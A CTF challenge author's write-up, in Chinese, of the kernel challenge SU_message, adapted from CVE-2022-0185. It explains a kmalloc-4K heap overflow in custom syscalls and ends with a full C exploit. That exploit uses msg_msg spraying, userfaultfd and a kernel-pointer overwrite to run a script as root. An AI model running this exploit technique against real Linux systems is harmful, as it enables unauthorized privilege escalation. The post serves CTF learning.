2022DASCTF X SU 三月春季挑战赛 SU_message出题小记

比赛结果

居然是0解,但是果然是0解……

本题改编自CVE-2022-0185,参考链接:https://kagehutatsu.com/?p=526

 

出题前置

由于Linux Kernel在5.11之后禁止了unprivileged uffd,因此传统意义上的基于struct msg_msg的劫持方法不再适用

因此,即使是在CVE-2022-0185中,作者也是使用fuse作为uffd的替代品

然而,在纯净的Linux Kernel中,非特权用户同样不能使用fuse,因此fuse并不是一个完美的方案

综上所述,我选择了使用5.10作为本次出题的Kernel版本

 

漏洞分析

自定义syscall

本题定义了两个新的syscall:SU_message_open、SU_message_config

--- ./syscall_64.tbl 2022-03-18 20:47:32.779064269 +0800
+++ ./linux-5.10.99/arch/x86/entry/syscalls/syscall_64.tbl 2022-03-19 00:44:04.054826564 +0800
@@ -362,6 +362,8 @@
438	common	pidfd_getfd		sys_pidfd_getfd
439	common	faccessat2		sys_faccessat2
440	common	process_madvise		sys_process_madvise
+1000	64	SU_message_open		sys_SU_message_open
+1001	64	SU_message_config	sys_SU_message_config

顾名思义,SU_message_open是对于struct SU_message结构体的初始化,SU_message_config则是对于struct SU_message结构体的操作

由于是对于syscall:__NR_fsopen、__NR_fsconfig的改编,因此存在少量的不完整功能

SU_message_open

SYSCALL_DEFINE2(SU_message_open, const void __user *, message_name, unsigned int , flags)
{
	struct SU_message_context *message_context;
	int i = 0;

	message_context = kzalloc(sizeof(struct SU_message_context), GFP_KERNEL);	[1]
	if (!message_context)
		return -ENOMEM;

	message_context->message_name = strndup_user(message_name, PAGE_SIZE);

	if (!strcmp(message_context->message_name, "shuyugiegie"))			[2]
		message_context->size = PAGE_SIZE;
	else
		message_context->size = 0x40;

	while (i < 0x10)
	{
		if (message_list[i] == NULL)
		{
			message_list[i] = message_context;
			return i;
		}
		i++;
	}
	return -ENOMEM;
}

函数分析

显然,在[1]处创建了struct SU_message_context结构体,作为存放用户态message的控制结构体

由于功能的不完整性,在[2]处,无论message_name是否为shuyugiegie1

在后续的函数中,都会申请kmalloc-4K作为存放用户态message的内核空间

返回值为结构体在message_list中的index,一个伪fd标示符

SU_message_config

SYSCALL_DEFINE4(SU_message_config, int, fd, unsigned int, cmd, const void __user *, _key, const void __user *, _value)
{
	long SU_message_send(struct SU_message_context *message_context, char *key, char *value)
	{
		unsigned int key_len, value_len;
		if (!message_context->message_content)
		{
			message_context->message_content = kmalloc(PAGE_SIZE, GFP_KERNEL);
			message_context->message_len=0;
			if (!message_context->message_content)
				return -ENOMEM;
		}

		if (key!=NULL)
			key_len = strlen(key);
		else
			key_len = 0;
		if (value!=NULL)
			value_len = strlen(value);
		else
			value_len = 0;

		if (key_len + value_len > PAGE_SIZE-2-message_context->message_len)	[1]
			return -ENOMEM;
		else
		{
			message_context->message_content[message_context->message_len++] = ',';
			memcpy(message_context->message_content + message_context->message_len, key, key_len);
			message_context->message_len += key_len;
			if (message_context->type == SU_message_is_string)
			{
				message_context->message_content[message_context->message_len++] = '-';
				memcpy(message_context->message_content + message_context->message_len, key, value_len);	[2]
				message_context->message_len += value_len;
			}
		}
		return 0;
	}

	struct SU_message_context *message_context;
	char *key, *value;
	int ret = 0;

	if (message_list[fd] != NULL && fd < 0x10 && fd >= 0)
		message_context = message_list[fd];
	else
		return -ENOENT;

	key = strndup_user(_key, 256);

	switch (cmd)
	{
		case SU_message_set_flag:
			message_context->type = SU_message_is_flag;
			ret = SU_message_send(message_context, key, NULL);
			break;
		case SU_message_set_string:
			message_context->type = SU_message_is_string;
			value = strndup_user(_value, 256);
			ret = SU_message_send(message_context, key, value);
			kfree(value);
			break;
		case SU_message_release:
			kfree(message_context->message_name);
			kfree(message_context);
			message_list[fd]=NULL;
			break;
	}

	kfree(key);

	return ret;
}

函数分析

存在三个cmd:SU_message_set_flag、SU_message_set_string、SU_message_release

set_flag和set_string的唯一区别就是是否将_value字段写入message中

而SU_message_release则是用于释放message

而且由于使用了strndump_user,_key字段与_value字段均存在\x00截断

漏洞点

注意到在[1]处,key_len + value_len > PAGE_SIZE-2-message_context->message_len存在一个负数溢出

即在message_context->message_len为0xFFF时,0x1000-2-0xFFF存在负数溢出

导致本来预期中应当停止继续延长的message产生了溢出

而且由于在0xFFF时的负数溢出,此后message_context->message_len会超过PAGE_SIZE的大小,因此该处可以进行多次连续溢出

综上所述,漏洞点确定为位于kmalloc-4K上的堆溢出

 

漏洞利用

参考文章:https://kagehutatsu.com/?p=577

 

非预期

注意到在SU_message_config的[2]处实际上应当为

--- ./sys.c	2022-03-27 23:02:43.551821407 +0800
+++ ./sys.c	2022-03-27 23:04:21.988289837 +0800
@@ -2751,7 +2751,7 @@
if (message_context->type == SU_message_is_string)
{
	message_context->message_content[message_context->message_len++] = '-';
-	memcpy(message_context->message_content + message_context->message_len, key, value_len);
+	memcpy(message_context->message_content + message_context->message_len, value, value_len);
	message_context->message_len += value_len;
}

本来应该将value拷贝进message_content中,但是由于失误,导致复制的成了key字段,因此存在一个非预期的溢出

不过由于同样为溢出,后续利用基本相同

 

出题小结

其实这题本来是我为了测试struct msg_msg的uffd利用方法写的demo文件,经过大量改编后成了本题

使用自定义syscall而不是Kernel内核拓展模块的原因本身是为了提高调试难度,但是目测好像成为了0解的一大原因(

其实为了不变成0解题,在部分地方也降低了不少难度,比如nokaslr、去掉了部分非必要函数

最后,感谢SU以及DAS官方的支持(特别感谢Au5t1n师傅帮我上传题目和调整题目以及赵总帮我调整Dockerfile)

EXP

#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <linux/fs.h>
#include <linux/fuse.h>
#include <linux/sched.h>
#include <linux/if_ether.h>
#include <linux/userfaultfd.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h> #define MSG_CONTINUE "\xFF" #define PAGE_SIZE 0x1000 #define MSG_COPY 040000 #define SU_message_set_flag 0x2001 #define SU_message_set_string 0x2002 #define SU_message_release 0x2003 int filedes[2]; uint64_t kernel_base,heap_addr; int make_queue(key_t key,int msgflg) { int result; if ((result=msgget(key,msgflg))==-1) { perror("[X] Msgget Failure"); exit(-1); } return result; } void send_msg(int msqid,void *msgp,size_t msgsz,int msgflg) { if (msgsnd(msqid,msgp,msgsz,msgflg)==-1) { perror("[X] Msgsend Failure"); exit(-1); } return; } ssize_t get_msg(int msqid,void *msgp,size_t msgsz,long msgtyp,int msgflg) { ssize_t result; result=msgrcv(msqid,msgp,msgsz,msgtyp,msgflg); if (result<0) { perror("[X] Msgrcv Failure"); exit(-1); } return result; } void remove_queue(int msqid,int cmd,struct msqid_ds *buf) { if ((msgctl(msqid,cmd,buf))==-1) { perror("[X] Msgctl Failure"); exit(-1); } } void register_userfault(void *fault_page, void *user_stuck_handler,int filedes_out,void *func,void *func_arg) { struct arg { uint64_t uffd; int filedes_out; void (*func)(void *,void *); void *func_arg; }; pthread_t thr; struct uffdio_api ua; struct uffdio_register ur; uint64_t uffd=syscall(__NR_userfaultfd,O_CLOEXEC|O_NONBLOCK); struct arg *handler_arg=malloc(sizeof(struct arg)); handler_arg->uffd=uffd; handler_arg->filedes_out=filedes_out; handler_arg->func=func; handler_arg->func_arg=func_arg; ua.api=UFFD_API; ua.features=0; if (ioctl(uffd,UFFDIO_API,&ua) == -1) { puts("[X] ioctl-UFFDIO_API Error"); exit(0); } ur.range.start=(unsigned long)fault_page; ur.range.len=PAGE_SIZE; ur.mode=UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd,UFFDIO_REGISTER,&ur)==-1) { puts("[X] ioctl-UFFDIO_REGISTER Error"); } int s=pthread_create(&thr,NULL,user_stuck_handler,(void *)handler_arg); if (s!=0) { puts("[X] Pthread Create Error"); exit(0); } } void *user_stuck_handler(void *handler_arg) { struct arg { uint64_t uffd; int filedes_out; void (*func)(void *,void *); void *func_arg; }; struct uffd_msg msg; unsigned long uffd=((struct arg *)handler_arg)->uffd; puts("[+] Leak_handler Created"); char con_msg; int filedes_out=((struct arg *)handler_arg)->filedes_out; read(filedes_out,&con_msg,0x1); if (con_msg!=*MSG_CONTINUE) { puts("[X] Stuck Page Continue Msg Error"); exit(0); } puts("[+] Restore Stuck Begin"); struct pollfd pollfd; int nready; pollfd.fd=uffd; pollfd.events=POLLIN; nready=poll(&pollfd,1,-1); if (nready!=1) { puts("[X] Wrong Pool Return Value"); exit(0); } nready=read(uffd,&msg,sizeof(msg)); if (nready<=0) { puts("[X]Msg Error!!"); exit(0); } char *page=(char*)mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0); if (page==MAP_FAILED) { puts("[X] Mmap Page Error!!"); exit(0); } struct uffdio_copy uc; memset(page,0,sizeof(page)); void (*func)(void *,void *)=((struct arg *)handler_arg)->func; void *func_arg=((struct arg *)handler_arg)->func_arg; if (func!=NULL) func(page,func_arg); free(handler_arg); uc.src=(unsigned long)page; uc.dst=(unsigned long)msg.arg.pagefault.address&~(PAGE_SIZE-1);; uc.len=PAGE_SIZE; uc.mode=0; uc.copy=0; ioctl(uffd,UFFDIO_COPY,&uc); puts("[-] User Stuck Handler Done!!"); } int overlap_prepare() { int message_fd=syscall(1000,"shuyugiegie",0); char *key=malloc(0x100); memset(key,0x61,0x100); key[0x5A]='\x00'; for (int i=0; i<0x2D; i++) { syscall(1001,message_fd,SU_message_set_flag,key,NULL); } return message_fd; } void overlap(int message_fd,void *overlap_content) { syscall(1001,message_fd,SU_message_set_flag,overlap_content,NULL); } uint64_t leak_kernel_base() { int message_fd=overlap_prepare(); char *buf=malloc(0x2000); char *recv_msg=malloc(0x2000); int qid[0x30]; struct msg *message=(struct msg *)buf; int size=0x1018; for (int i=0; i<0x30; i++) { memset(buf,0x61,0x2000); qid[i]=make_queue(IPC_PRIVATE,0666|IPC_CREAT); send_msg(qid[i],message,size-0x30,0); } for (int i=0; i<0x30; i++) { open("/proc/self/stat",O_RDONLY); } uint64_t *overlap_content=malloc(0x30); memset(overlap_content,0x61,0x18); overlap_content[0x3]=0x10F0; overlap(message_fd,overlap_content); size=0x10F0; for (int i=0; i<0x30; i++) { get_msg(qid[i],recv_msg,size,0,IPC_NOWAIT|MSG_COPY|MSG_NOERROR); for (int j=0; j<0x1E; j++) { uint64_t tmp_kbase=((uint64_t *)(recv_msg+0x1000))[j]; if (tmp_kbase>0xFFFFFFFF81000000) { for (int k=0; k<0x30; k++) if (qid[k]!=qid[i]) remove_queue(qid[k],IPC_RMID,NULL); return tmp_kbase; } } } return 0; } void spray_4K() { char *buf=malloc(PAGE_SIZE); memset(buf,0x61,PAGE_SIZE); struct msg *message=(struct msg *)buf; int qid; for (int i=0; i<0x32; i++) { qid=make_queue(IPC_PRIVATE,0666|IPC_CREAT); send_msg(qid,message,PAGE_SIZE-0x30,0); } } void arbitrary_write(char *stand_page,char *normal_page,char *stuck_page) { spray_4K(); int qid[0x60]; int size=0x1058; void *thread_spary(void *arg) { uint64_t i=(uint64_t)arg; struct msg *message=(struct msg *)(normal_page+0x30); qid[i]=make_queue(IPC_PRIVATE,0666|IPC_CREAT); send_msg(qid[i],message,size-0x30,0); } int message_fd=overlap_prepare(); pthread_t thread_spary_pid[0x60]; for (uint64_t i=0; i<0x60; i++) pthread_create(&thread_spary_pid[i],NULL,thread_spary,(void *)i); sleep(0.5); getchar(); uint64_t *overlap_content=malloc(0x30); memset(overlap_content,0x61,0x20); overlap_content[0x4]=kernel_base+0x1c6c360-0x8; overlap(message_fd,overlap_content); write(filedes[1],MSG_CONTINUE,sizeof(MSG_CONTINUE)); for (int i=0; i<0x60; i++) pthread_join(thread_spary_pid[i],NULL); } void *func(void *page,void *arg) { memcpy(page,arg,PAGE_SIZE); } int main() { if (pipe(filedes)==-1) { puts("[X] Pipe Create Error"); exit(0); } while (!kernel_base) { uint64_t single_start=leak_kernel_base(); kernel_base=single_start-0x331960; kernel_base-=kernel_base&0xFF; if (kernel_base>0xFFFFFFFFFF000000) kernel_base=0; if (kernel_base&0xFF00) kernel_base=0; } printf("[+] kernel_base: 0x%lx\n",kernel_base); char *stand_page=mmap((void *)0xB0000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0); memset(stand_page,0x63,PAGE_SIZE); memcpy(stand_page+0x8,"/tmp/aa\x00",0x8); char *normal_page=mmap((void *)0xA0000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0); memset(normal_page,0x62,PAGE_SIZE); char *stuck_page=mmap((void *)0xA1000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0); register_userfault(stuck_page,user_stuck_handler,filedes[0],func,stand_page); arbitrary_write(stand_page,normal_page,stuck_page); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/aa"); system("chmod +x /tmp/aa"); system("chmod +x /tmp/dummy"); system("/tmp/dummy"); }
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇